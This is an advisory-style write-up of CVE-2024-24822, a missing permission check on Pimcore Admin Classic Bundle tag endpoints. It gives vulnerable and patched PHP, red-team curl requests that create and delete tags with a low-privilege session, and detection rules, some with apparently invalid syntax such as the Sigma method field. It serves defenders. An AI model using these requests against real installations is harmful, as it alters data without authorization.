CVE-2024-24822

Executive Summary

CVE-2024-24822 is a missing authorization vulnerability in the Pimcore Admin Classic Bundle, a backend user interface for the Pimcore platform. An authenticated attacker with low privileges can exploit this flaw to create, delete, or modify tags without the required permissions. This unauthorized tag manipulation can lead to data integrity issues and potential disruption of tag-based workflows. The vulnerability is present in versions prior to 1.3.3 and has been patched in that release. The EPSS score is 0.0%, indicating a low probability of active exploitation in the wild, but the risk remains for unpatched systems.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

The vulnerability is rated Medium due to the low privileges required and the potential for unauthorized tag manipulation, which can affect data integrity and business logic.

Deep Dive & Mechanics

The Pimcore Admin Classic Bundle provides a RESTful API for managing tags. The vulnerability lies in the tag management endpoints, which fail to enforce proper authorization checks. An authenticated user with a low-privilege role (e.g., a content editor) can send crafted HTTP requests to create, update, or delete tags without having the "tags" permission assigned. The backend does not validate the user's permissions before executing the tag operations, allowing unauthorized actions.

The affected endpoints include:

• POST /admin/tag/add
• PUT /admin/tag/update
• DELETE /admin/tag/delete

These endpoints rely on the user's session but do not check for the specific permission required for tag management. An attacker can exploit this by sending direct API calls with valid session cookies.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.3.3):

// In TagController.php
public function addAction(Request $request) {
    $tag = new Tag();
    $tag->setName($request->get('name'));
    $tag->save();
    return $this->json(['success' => true]);
}

The above code lacks a permission check before saving the tag.

Patched Code (1.3.3):

// In TagController.php
public function addAction(Request $request) {
    $this->checkPermission('tags');
    $tag = new Tag();
    $tag->setName($request->get('name'));
    $tag->save();
    return $this->json(['success' => true]);
}

The patched version adds a checkPermission('tags') call that verifies the user has the required permission before proceeding.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid low-privilege user session (e.g., content editor).
• Network access to the Pimcore Admin interface.

Exploitation Steps:

1. Obtain a valid session cookie by logging in as a low-privilege user.
2. Send a crafted HTTP request to create a tag:

   curl -X POST https://target.com/admin/tag/add \
     -H "Cookie: PHPSESSID=your_session_id" \
     -d "name=malicious_tag"
   

3. Verify the tag was created by listing tags:

   curl -X GET https://target.com/admin/tag/list \
     -H "Cookie: PHPSESSID=your_session_id"
   

4. Delete a tag:

   curl -X DELETE https://target.com/admin/tag/delete?id=123 \
     -H "Cookie: PHPSESSID=your_session_id"
   

Expected Outcome: The attacker can create, modify, or delete tags without proper authorization, potentially corrupting tag-based data structures.

Blue Team

Detection:

• Monitor for unusual tag creation or deletion events in audit logs.
• Look for API calls to /admin/tag/* from users without the "tags" permission.
• Alert on multiple tag operations within a short time frame from a single user.

Hunting:

• Search for HTTP requests to /admin/tag/add, /admin/tag/update, or /admin/tag/delete from users with low-privilege roles.
• Correlate with user permission assignments to identify unauthorized actions.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /admin/tag/add, /admin/tag/update, /admin/tag/delete from unexpected users.
  • Repeated 200 OK responses to these endpoints from low-privilege sessions.

• System IOCs:

  • Audit log entries showing tag creation/deletion by users without the "tags" permission.
  • Unexpected tags appearing in the system that were not created by authorized administrators.

• File IOCs:

  • Modified database entries in the tags table without corresponding permission checks.

Detection Engineering

YARA Rule

rule Detect_CVE_2024_24822_Exploit {
    meta:
        description = "Detects exploitation attempts for CVE-2024-24822 via unauthorized tag operations"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-24822"
    strings:
        $s1 = "/admin/tag/add" ascii wide nocase
        $s2 = "/admin/tag/update" ascii wide nocase
        $s3 = "/admin/tag/delete" ascii wide nocase
        $s4 = "PHPSESSID" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3) and $s4
}

Sigma Rule

title: Unauthorized Tag Operations in Pimcore Admin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthorized tag creation, update, or deletion attempts in Pimcore Admin Classic Bundle
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24822
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST' or 'PUT' or 'DELETE'
        cs-uri-stem:
            - '/admin/tag/add'
            - '/admin/tag/update'
            - '/admin/tag/delete'
    condition: selection
falsepositives:
    - Legitimate tag management by authorized administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24822 - Unauthorized Tag Operation in Pimcore Admin"; flow:to_server,established; content:"/admin/tag/"; http_uri; nocase; content:"PHPSESSID"; http_cookie; nocase; pcre:"/(add|update|delete)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the Pimcore Admin Classic Bundle to version 1.3.3 or later.
2. If immediate upgrade is not possible, apply the manual patch provided in the advisory to enforce permission checks in the tag controller.

Long-term Measures:

• Implement role-based access control (RBAC) for all API endpoints.
• Conduct regular security audits of permission assignments.
• Enable detailed audit logging for all administrative actions.
• Use a Web Application Firewall (WAF) to block unauthorized API calls.

Workaround:

• Manually patch the TagController.php file to add $this->checkPermission('tags'); before any tag operation.

Valters IT